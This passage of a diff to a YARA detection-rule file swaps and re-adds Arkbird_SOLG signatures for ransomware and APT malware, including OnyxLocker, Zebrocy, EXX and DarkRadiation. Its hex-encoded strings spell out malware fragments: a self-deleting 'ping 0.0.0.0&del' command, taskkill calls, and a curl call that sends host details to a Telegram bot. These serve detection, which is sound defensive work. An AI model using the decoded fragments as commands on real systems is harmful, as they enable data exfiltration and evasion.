50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 00 00 00 8d b3 a8 00 00 00 83 7e 10 00 76 7a 68 ?? b9 4c 00 8d 8d 98 ef ff ff e8 [2] 00 00 6a ff 33 c0 8d 8d 98 ef ff ff 6a 00 40 56 88 45 fc e8 [2] 00 00 83 bd ac ef ff ff 08 8d 85 98 ef ff ff 8b b5 48 ef ff ff 0f 43 85 98 ef ff ff 68 00 00 00 01 ff b5 a8 ef ff ff 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 } - $s5 = { 6a 00 ff b5 40 ef ff ff ff b3 88 01 00 00 ff 15 30 b0 4b 00 50 57 6a ff 56 8b b5 48 ef ff ff 56 ff 15 ?? b2 4b 00 85 c0 0f 85 b2 02 00 00 8d bd 00 ef ff ff ab ab ab ab 8d 85 00 ef ff ff 50 ff 15 ?? b2 4b 00 85 c0 0f 84 74 02 00 00 8b 95 04 ef ff ff 85 d2 0f 84 4f 01 00 00 33 c0 8d bd b8 ee ff ff 6a 06 59 f3 ab 83 a5 c8 ee ff ff 00 8d bd f4 ee ff ff 83 a5 c4 ee ff ff 00 40 89 85 bc ee ff ff 89 85 cc ee ff ff 33 c0 ab c7 85 b8 ee ff ff 03 00 00 00 89 95 c0 ee ff ff ab ab 8d 43 08 83 } + $s1 = { 2f 63 20 22 70 69 6e 67 20 30 2e 30 2e 30 2e 30 26 64 65 6c 20 22 } + $s2 = { 7b 45 4e 43 52 59 50 54 53 54 41 52 54 7d 7b } + $s3 = { 7b 45 4e 43 52 59 50 54 45 4e 44 45 44 7d } + $s4 = { 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 45 58 54 45 4e 41 54 49 4f 4e 53 5c 5c 5c 00 ff ff ff ff 17 00 00 00 2f 2f 2f 45 4e 44 20 43 4f 4d 4d 41 4e 44 53 20 4c 49 53 54 5c 5c 5c 00 ff ff ff ff 1d 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 4b 49 4c 4c 20 4c 49 53 54 5c 5c 5c 00 00 00 ff ff ff ff 1c 00 00 00 2f 2f 2f 45 4e 44 20 53 45 52 56 49 43 45 53 20 53 54 4f 50 20 4c 49 53 54 5c 5c 5c 00 00 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 57 48 49 54 45 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 49 4c 45 53 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 20 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 4f 4c 44 45 52 53 20 4c 49 53 54 5c 5c 5c } + $s5 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 } + $s6 = { 3c 25 55 4e 44 45 43 52 59 50 54 5f 44 41 54 45 54 49 4d 45 25 3e } + $s7 = { 25 00 73 00 20 00 28 00 25 00 73 00 2c 00 20 00 6c 00 69 00 6e 00 65 00 20 00 25 00 64 00 29 } condition: - uint16( 0 ) == 0x5A4D and filesize > 15KB and 1 of ( $c* ) and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 80KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Shark_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Onyxlocker_Nov_2020_1 : FILE { meta: - description = "Detect Shark backdoor used by Hexane group (aka Siamesekitten)" + description = "Detect OnyxLocker ransomware" author = "Arkbird_SOLG" - id = "881dcdd9-2f4d-51d3-b046-15cdb2a2cb55" - date = "2021-08-18" - modified = "2021-08-19" - reference = "https://www.clearskysec.com/siamesekitten/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Shark_Aug_2021_1.yara#L1-L24" + id = "bb7d914c-a074-5d79-a5d2-43c5a0adf49e" + date = "2020-11-18" + modified = "2020-11-18" + reference = "https://twitter.com/Kangxiaopao/status/1328614320016560128" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-18/OnyxLocker/Ran_OnyxLocker_Nov_2020_1.yar#L1-L27" license_url = "N/A" - logic_hash = "c14abb839f4af81a3db38719f23c47498d577a779950e66978ff14d015043490" + logic_hash = "1ccca1040acee5bb937fd5ebb3536f8c644d3586229d01457d780bef5fcb57a1" score = 75 - quality = 75 + quality = 71 tags = "FILE" - hash1 = "89ab99f5721b691e5513f4192e7c96eb0981ddb6c2d2b94c1a32e2df896397b8" - hash2 = "f6ae4f4373510c4e096fab84383b547c8997ccf3673c00660df8a3dc9ed1f3ca" - hash3 = "44faf11719b3a679e7a6dd5db40033ec4dd6e1b0361c145b81586cb735a64112" - hash4 = "2f2ef9e3f6db2146bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c" - tlp = "White" - adversary = "Hexane" + hash1 = "7e3c97d3d274b5f7fedad6e392e6576ac3e5724ddd7e48c58a654b6b95eb40d7" strings: - $s1 = { 7b 00 22 00 44 00 61 00 74 00 61 00 22 00 3a 00 5b 00 22 00 00 07 22 00 [0-8] 5d 00 7d } - $s2 = "application/json" fullword wide - $s3 = { 40 00 45 00 43 00 48 00 4f 00 20 00 4f 00 46 00 46 00 0a 00 00 1d 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 49 00 4d 00 20 00 22 00 00 17 22 00 20 00 2f 00 46 00 20 00 3e 00 20 00 6e 00 75 00 6c 00 0a 00 00 2b 70 00 69 00 6e 00 67 00 20 00 [12-28] 00 20 00 6e 00 75 00 6c } - $s4 = { 2a 00 65 00 78 00 65 00 00 0b 2a 00 70 00 72 00 6f 00 63 00 00 07 2a 00 6b 00 6c 00 00 07 64 00 69 00 72 00 00 11 66 00 69 00 6c 00 65 00 3a 00 2f 00 2f 00 2f } - $s5 = { 16 0a 2b 13 02 06 02 06 91 1f 2a 28 ?? 00 00 0a 61 d2 9c 06 17 58 0a 06 02 8e 69 } - $s6 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography" fullword wide - $s7 = { 65 00 63 00 68 00 6f 00 20 00 [2-10] 20 00 7c 00 20 00 64 00 65 00 6c 00 20 00 [2-10] 2e 00 62 00 61 00 74 00 00 0f [2-10] 00 2e 00 62 00 61 00 74 } + $s1 = "IEncryptionProvider" fullword ascii + $s2 = "OnyxLocker.exe" fullword wide + $s3 = "GetEncryptionThreads" fullword ascii + $s4 = "CreateEncryptionKey" fullword ascii + $s5 = ".NETFramework,Version=v4.5.2" fullword ascii + $s6 = "get_TargetFiles" fullword ascii + $s7 = "IsTargetFile" fullword ascii + $s8 = "<TargetFiles>k__BackingField" fullword ascii + $s9 = "XxteaEncryptionProvider" fullword ascii + $s10 = "GetStartingFolders" fullword ascii + $s11 = "<EncryptionKey>k__BackingField" fullword ascii + $s12 = "RECOVERY INSTRUCTIONS" fullword wide + $s13 = "$182eaa96-fcb2-458b-85cb-a9b8da57ae71" fullword ascii + $s14 = ".NET Framework 4.5.2" fullword ascii + $s15 = "TraverseDirectories" fullword ascii + $s16 = "{0} {1}" fullword wide condition: - uint16( 0 ) == 0x5A4D and filesize > 15KB and 6 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 8KB and 8 of them } -rule ARKBIRD_SOLG_Ran_Egregor_Sept_2020_1 : FILE +rule ARKBIRD_SOLG_APT_APT28_VHD_Nov_2020_1 : FILE { meta: - description = "Detect Egregor ransomware (variant Sept2020)" + description = "Detect suspicious VHD file with APT28 artefacts inside (November 2020)" author = "Arkbird_SOLG" - id = "b44b93ec-b470-511e-b08f-7d83efd30ecc" - date = "2020-10-07" - modified = "2020-10-16" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Egregor_Sept_2020_1.yar#L1-L22" + id = "25452eaa-f135-5b7f-a523-67715a2ab9f7" + date = "2020-12-09" + modified = "2020-12-10" + reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L3-L35" license_url = "N/A" - logic_hash = "4ce7398cc6ad0538735aec6490204122690f029cbb8d20f9efd2f612955f106b" - score = 75 - quality = 75 + logic_hash = "d72c3428cf731feb63c59ef109b99ec234e69bb6df34bdde928cc4b886f0533b" + score = 50 + quality = 69 tags = "FILE" - hash1 = "4c9e3ffda0e663217638e6192a093bbc23cd9ebfbdf6d2fc683f331beaee0321" - hash2 = "aee131ba1bfc4b6fa1961a7336e43d667086ebd2c7ff81029e14b2bf47d9f3a7" - hash3 = "3fd510a3b2e0b0802d57cd5b1cac1e61797d50a08b87d9b5243becd9e2f7073f" - hash4 = "9c900078cc6061fb7ba038ee5c065a45112665f214361d433fc3906bf288e0eb" - hash5 = "a376fd507afe8a1b5d377d18436e5701702109ac9d3e7026d19b65a7d313b332" + level = "experimental" + hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30" strings: - $x1 = "dmocx.dll" fullword ascii - $s2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide - $s3 = "M:\\sc\\p\\testbuild.pdb" fullword ascii - $s4 = "Type Descriptor'" fullword ascii - $s5 = "=$=`=h=p=t=x=|=" fullword ascii - $s6 = "--nop" fullword wide - $s7 = "9,94989@9X9" fullword ascii + $c1 = { 49 6e 76 61 6c 69 64 20 70 61 72 74 69 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 00 00 63 7b } + $c2 = { 52 90 4e 54 46 53 } + $c3 = { 41 20 64 69 73 6b 20 72 65 61 64 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 00 0d 0a 42 4f 4f 54 4d 47 52 20 69 73 20 63 6f 6d 70 72 65 73 73 65 64 00 0d 0a 50 72 65 73 73 20 43 74 72 6c 2b 41 6c 74 2b 44 65 6c 20 74 6f 20 72 65 73 74 61 72 74 } + $c4 = { 42 00 4f 00 4f 00 54 00 4d 00 47 00 52 00 04 00 24 00 49 00 33 00 30 } + $c5 = { 4e 00 54 00 4c 00 44 00 52 00 07 00 42 00 4f 00 4f 00 54 00 54 00 47 00 54 00 07 00 42 00 4f 00 4f 00 54 00 4e 00 58 00 54 } + $c6 = { 46 49 4c 45 30 00 03 00 8? ?d } + $c7 = { 24 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 60 00 00 00 40 } + $s1 = { 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 20 a9 20 32 30 30 34 2c 20 32 30 30 35 20 50 69 65 72 72 65 20 6c 65 20 52 69 63 68 65 20 2f 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 } + $s2 = { 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 00 46 50 55 4d 61 73 6b 56 61 6c 75 65 } + $s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c } + $s4 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 00 00 6c 61 79 6f 75 74 20 74 65 78 74 } + $s5 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 } + $s6 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 } + $s7 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 00 11 00 53 00 74 00 72 00 65 00 61 00 6d 00 20 00 72 00 65 00 61 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 } + $s8 = { 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 } + $s9 = { 43 6f 6e 6e 65 63 74 4b 69 6e 64 b0 10 40 00 44 00 00 ff 44 00 00 ff 01 00 00 00 00 00 00 80 00 00 00 80 04 00 11 52 65 6d 6f 74 65 4d 61 63 68 69 6e 65 4e 61 6d 65 } + $s10 = { 22 20 4e 54 2f 20 [1-4] 20 4f 4d 2f 20 45 54 55 4e 49 4d 20 43 53 2f 20 65 74 61 65 72 43 2f 20 73 6b 73 61 74 68 63 73 } + $s11 = { 2f 2f 3a 70 74 74 68 } condition: - uint16( 0 ) == 0x5a4d and filesize > 200KB and 1 of ( $x* ) and 4 of ( $s* ) + uint16( 0 ) == 0x33c0 and filesize > 40KB and 5 of ( $c* ) and 8 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Crysis_Sep_2020_1 : FILE + +rule ARKBIRD_SOLG_APT_APT28_Zebrocy_GO_Downloader_Nov_2020_1 : FILE { meta: - description = "Detect Crysis ransomware" + description = "Detect Zebrocy Go downloader (November 2020)" author = "Arkbird_SOLG" - id = "9cc1a1b9-c4a9-5add-833d-81be02ffc4fb" - date = "2020-10-16" - modified = "2020-10-16" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Crysis_Sep_2020_1.yar#L1-L23" + id = "114c0297-7168-5d20-b56b-89b0b47f18c7" + date = "2020-12-09" + modified = "2020-12-10" + reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L37-L65" license_url = "N/A" - logic_hash = "c7706b862cd0277c8b726d32dc819ad7e15933b28e3a31599922f3dc0beb8348" - score = 75 - quality = 69 + logic_hash = "e7b2e7c250f3a98127399176adf9f93b758f0a5111e126dd0a75a3fb95a48da9" + score = 50 + quality = 61 tags = "FILE" - hash1 = "34c485ad11076ede709ff409c0e1867dc50fd40311ae6e7318ddf50679fa4049" - hash2 = "4708750c9a6fdeaec5f499a3cd26bb5f61db4f82e66484dc7b44118effbb246f" - hash3 = "b565c8e1e81796db13409f37e4bd28877272b5e54ab5c0a3d9b6a024e7f5a039" - hash4 = "8e8b6818423930eea073315743b788aef2f41198961946046b7b89042cb3f95a" + level = "experimental" + hash1 = "61c2e524dcc25a59d7f2fe7eff269865a3ed14d6b40e4fea33b3cd3f58c14f19" + hash2 = "f36a0ee7f4ec23765bb28fbfa734e402042278864e246a54b8c4db6f58275662" strings: - $s1 = { 6f 25 25 4a 72 2e 2e 5c 24 } - $s2 = { 52 53 44 53 25 7e 6d } - $s3 = { 78 78 4a 6f 25 25 5c 72 2e 2e 38 24 } - $s4 = { 25 65 65 ca af 7a 7a f4 8e ae ae 47 e9 08 08 10 18 ba ba } - $s5 = { 58 74 1a 1a 34 2e 1b 1b 36 2d 6e 6e dc b2 5a 5a b4 ee a0 a0 5b fb 52 52 a4 f6 3b 3b 76 4d d6 d6 b7 61 b3 b3 7d ce 29 29 52 7b e3 e3 dd 3e 2f 2f 5e 71 84 84 13 97 53 53 } - $s6 = { 3b 32 32 64 56 3a 3a 74 4e 0a 0a 14 1e 49 49 92 db 06 06 0c 0a 24 24 48 6c 5c 5c b8 e4 c2 c2 9f 5d d3 d3 bd 6e ac ac 43 ef 62 62 } - $s7 = { 26 4c 6a 26 36 6c 5a 36 3f 7e 41 3f f7 f5 02 f7 cc 83 4f cc 34 68 5c 34 a5 51 f4 a5 e5 d1 34 e5 f1 f9 08 f1 71 e2 93 71 d8 ab 73 d8 31 62 53 31 15 2a 3f 15 04 08 0c 04 c7 95 52 c7 23 46 65 23 } - $s8 = { 7e fc 82 7e 3d 7a 47 3d 64 c8 ac 64 5d ba e7 5d 19 32 2b 19 73 e6 95 73 60 c0 a0 60 81 19 98 81 4f 9e d1 4f dc a3 7f dc 22 44 66 22 2a 54 7e 2a 90 3b ab 90 88 0b 83 88 46 8c ca 46 ee c7 29 } - $s9 = "sssssbsss" fullword ascii + $c1 = "os.(*ProcessState).sys" fullword ascii + $c2 = "os/exec.(*ExitError).Sys" fullword ascii + $c3 = "os/exec.ExitError.Sys" fullword ascii + $c4 = "os.(*ProcessState).Sys" fullword ascii + $p1 = "syscall.CreatePipe" fullword ascii + $p2 = "os.Pipe" fullword ascii + $p3 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 70 69 70 65 29 2e 63 6c 6f 73 65 44 6f 6e 65 4c 6f 63 6b 65 64 } + $p4 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 63 6c 69 65 6e 74 53 74 72 65 61 6d 29 2e 67 65 74 53 74 61 72 74 65 64 57 72 69 74 65 } + $op1 = { 75 5f 67 3d 25 73 20 25 71 25 73 2a 25 64 25 73 3d 25 73 26 23 33 34 3b 26 23 33 39 3b 26 61 6d 70 3b } + $op2 = { 70 63 3d 25 21 28 4e 4f 56 45 52 42 29 25 21 57 65 65 6b 64 61 79 28 25 73 7c 25 73 25 73 7c 25 73 28 42 41 44 49 4e 44 45 58 29 } + $op3 = { 48 54 54 50 5f 50 52 4f 58 59 48 6f 73 74 3a 20 25 73 0d 0a 49 50 20 61 64 64 72 65 73 73 4b 65 65 70 2d 41 6c 69 76 65 } + $op4 = { 63 6f 6e 6e 65 63 74 69 6f 6e 20 65 72 72 6f 72 3a 20 25 73 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 69 6d 65 64 20 6f 75 74 } + $op5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d } + $op6 = { 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and all of them + uint16( 0 ) == 0x4d5a and filesize > 800KB and ( pe.imphash ( ) == "91802a615b3a5c4bcc05bc5f66a5b219" ) and 3 of ( $c* ) and 3 of ( $p* ) and 3 of ( $op* ) } -rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_2 : FILE +rule ARKBIRD_SOLG_Ran_ELF_EXX_Nov_2020_1 : FILE { meta: - description = "Detect the DarkRadiation ransomware" + description = "Detect EXX variant ELF ransomware" author = "Arkbird_SOLG" - id = "3580a41a-ba2e-5a47-b35d-b2482fbc913a" - date = "2021-07-03" - modified = "2021-07-05" - reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_2.yara#L1-L27" + id = "fe85d480-317a-51c3-a817-fc9034e2944f" + date = "2020-12-09" + modified = "2020-12-09" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/EXX/Ran_ELF_EXX_Nov_2020_1.yar#L1-L28" license_url = "N/A" - logic_hash = "b21db1658845cafe37950d69b5bc0aab203e7bea3e43f95394236e0133234e2d" - score = 75 - quality = 57 + logic_hash = "4508a0cf79d0d85959009f59e1471cbf123fa24f5c21da5801e91ed0bbe8a085" + score = 50 + quality = 73 tags = "FILE" - hash1 = "3bab2947305c00df66cb4d6aaef006f10aca348c17aa2fd28e53363a08b7ec68" - hash2 = "652ee7b470c393c1de1dfdcd8cb834ff0dd23c93646739f1f475f71a6c138edd" - hash3 = "79aee7a4459d49dc6dfebf1a45d32ccc3769a1e5c1f231777ced3769607ba9c1" - tlp = "White" - adversary = "FERRUM" + level = "experimental" + hash1 = "cb408d45762a628872fa782109e8fcfc3a5bf456074b007de21e9331bb3c5849" strings: - $s1 = { 61 6c 6c 54 68 72 65 61 64 73 3d 28 24 31 29 } - $s2 = { 4d 53 47 5f 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 27 24 54 4f 4b 45 4e 27 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 27 } - $s3 = { 69 66 20 5b 5b 20 22 24 6d 61 73 74 65 72 22 20 21 3d 20 22 24 73 6c 61 76 65 22 20 5d 5d } - $s4 = { 75 73 65 72 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 31 7d 27 29 } - $s5 = { 6d 61 73 74 65 72 3d 24 28 63 61 74 20 2f 74 6d 70 2f 2e 63 63 77 20 7c 20 77 63 20 2d 6c 29 } - $s6 = { 73 65 6e 64 5f 6d 65 73 73 61 67 65 20 24 69 64 20 22 24 28 68 6f 73 74 6e 61 6d 65 29 20 24 28 68 6f 73 74 6e 61 6d 65 20 2d 49 29 } - $s7 = { 73 74 61 72 74 5f 74 68 72 65 61 64 20 24 61 6c 6c 54 68 72 65 61 64 73 } - $s8 = { 69 70 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 32 7d 27 29 } - $s9 = { 70 6f 72 74 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 33 7d 27 29 } - $s10 = { 24 28 63 75 72 6c 20 2d 73 20 2d 2d 69 6e 73 65 63 75 72 65 20 2d 2d 64 61 74 61 2d 75 72 6c 65 6e 63 6f 64 65 20 22 74 65 78 74 3d [2-15] 22 20 22 24 4d 53 47 5f 55 52 4c [2-15] 22 20 26 29 } - $s11 = { 73 6c 61 76 65 3d 24 28 65 63 68 6f 20 22 24 7b [2-15] 7d 22 20 7c 20 77 63 20 2d 6c 29 } + $dbg1 = { 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 2c 20 72 65 74 75 72 6e 20 63 6f 64 65 20 3d 20 25 30 38 58 0a } + $dbg2 = { 47 72 65 65 74 69 6e 67 73 20 [3-10] 21 } + $dbg3 = { 63 79 63 6c 65 73 3d 25 6c 75 20 72 61 74 69 6f 3d 25 6c 75 20 6d 69 6c 6c 69 73 65 63 73 3d 25 6c 75 20 73 65 63 73 3d 25 6c 75 20 68 61 72 64 66 61 69 6c 3d 25 64 20 61 3d 25 6c 75 20 62 3d 25 6c 75 0a } + $dbg4 = { 53 48 41 2d 25 64 20 74 65 73 74 20 23 25 64 3a } + $lib1 = "pthread_mutex_unlock@@GLIBC_2.2.5" fullword ascii + $lib2 = "pthread_mutex_lock@@GLIBC_2.2.5" fullword ascii + $lib3 = "mbedtls_rsa_import" fullword ascii + $lib4 = "mbedtls_rsa_export" fullword ascii + $lib5 = "mbedtls_oid_get_extended_key_usage" fullword ascii + $lib6 = "mbedtls_sha256_process" fullword ascii + $seq1 = { 48 83 ec 20 89 7d ec 48 89 75 e0 b8 00 00 00 00 e8 77 00 00 00 48 8d 45 f0 b9 00 00 00 00 48 8d 15 b5 ff ff ff be 00 00 00 00 48 89 c7 e8 d6 fb ff ff c7 45 fc 01 00 00 00 eb } + $seq2 = { 00 00 00 00 e8 b2 fe ff ff 48 8b 45 e8 48 89 c7 e8 92 ed ff ff 48 83 c0 01 48 89 c7 e8 c6 ee ff ff 48 89 45 f8 48 83 7d f8 00 74 3a 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 f8 ec ff ff 48 8b 45 f8 48 89 c7 e8 12 fd ff ff 48 8b 45 f8 48 89 c7 e8 90 ec ff ff b8 00 00 00 00 e8 95 fc ff ff } + $seq3 = { e5 41 55 41 54 53 48 81 ec 18 18 00 00 c7 45 dc 00 00 00 00 48 c7 45 d0 00 00 00 00 bf 00 00 00 00 e8 13 fd ff ff 89 c7 e8 7c fc ff ff e8 d7 fd ff ff 41 89 c5 e8 cf fd ff ff 41 89 c4 e8 c7 fd ff ff 89 c3 e8 c0 fd ff ff 89 c2 48 8d 85 d0 e7 ff ff 4d 89 e9 4d 89 e0 48 89 d9 48 8d 35 bf 0a 02 00 48 89 } condition: - filesize > 1KB and 6 of ( $s* ) + uint16( 0 ) == 0x457f and filesize > 80KB and 3 of ( $dbg* ) and 4 of ( $lib* ) and 2 of ( $seq* ) } rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_3 : FILE { @@ -157466,6 +157091,43 @@ rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_1 : FILE condition: filesize > 5KB and 5 of ( $s* ) } +rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_2 : FILE +{ + meta: + description = "Detect the DarkRadiation ransomware" + author = "Arkbird_SOLG" + id = "3580a41a-ba2e-5a47-b35d-b2482fbc913a" + date = "2021-07-03" + modified = "2021-07-05" + reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_2.yara#L1-L27" + license_url = "N/A" + logic_hash = "b21db1658845cafe37950d69b5bc0aab203e7bea3e43f95394236e0133234e2d" + score = 75 + quality = 57 + tags = "FILE" + hash1 = "3bab2947305c00df66cb4d6aaef006f10aca348c17aa2fd28e53363a08b7ec68" + hash2 = "652ee7b470c393c1de1dfdcd8cb834ff0dd23c93646739f1f475f71a6c138edd" + hash3 = "79aee7a4459d49dc6dfebf1a45d32ccc3769a1e5c1f231777ced3769607ba9c1" + tlp = "White" + adversary = "FERRUM" + + strings: + $s1 = { 61 6c 6c 54 68 72 65 61 64 73 3d 28 24 31 29 } + $s2 = { 4d 53 47 5f 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 27 24 54 4f 4b 45 4e 27 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 27 } + $s3 = { 69 66 20 5b 5b 20 22 24 6d 61 73 74 65 72 22 20 21 3d 20 22 24 73 6c 61 76 65 22 20 5d 5d } + $s4 = { 75 73 65 72 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 31 7d 27 29 } + $s5 = { 6d 61 73 74 65 72 3d 24 28 63 61 74 20 2f 74 6d 70 2f 2e 63 63 77 20 7c 20 77 63 20 2d 6c 29 } + $s6 = { 73 65 6e 64 5f 6d 65 73 73 61 67 65 20 24 69 64 20 22 24 28 68 6f 73 74 6e 61 6d 65 29 20 24 28 68 6f 73 74 6e 61 6d 65 20 2d 49 29 } + $s7 = { 73 74 61 72 74 5f 74 68 72 65 61 64 20 24 61 6c 6c 54 68 72 65 61 64 73 } + $s8 = { 69 70 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 32 7d 27 29 } + $s9 = { 70 6f 72 74 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 33 7d 27 29 } + $s10 = { 24 28 63 75 72 6c 20 2d 73 20 2d 2d 69 6e 73 65 63 75 72 65 20 2d 2d 64 61 74 61 2d 75 72 6c 65 6e 63 6f 64 65 20 22 74 65 78 74 3d [2-15] 22 20 22 24 4d 53 47 5f 55 52 4c [2-15] 22 20 26 29 } + $s11 = { 73 6c 61 76 65 3d 24 28 65 63 68 6f 20 22 24 7b [2-15] 7d 22 20 7c 20 77 63 20 2d 6c 29 } + + condition: + filesize > 1KB and 6 of ( $s* ) +} rule 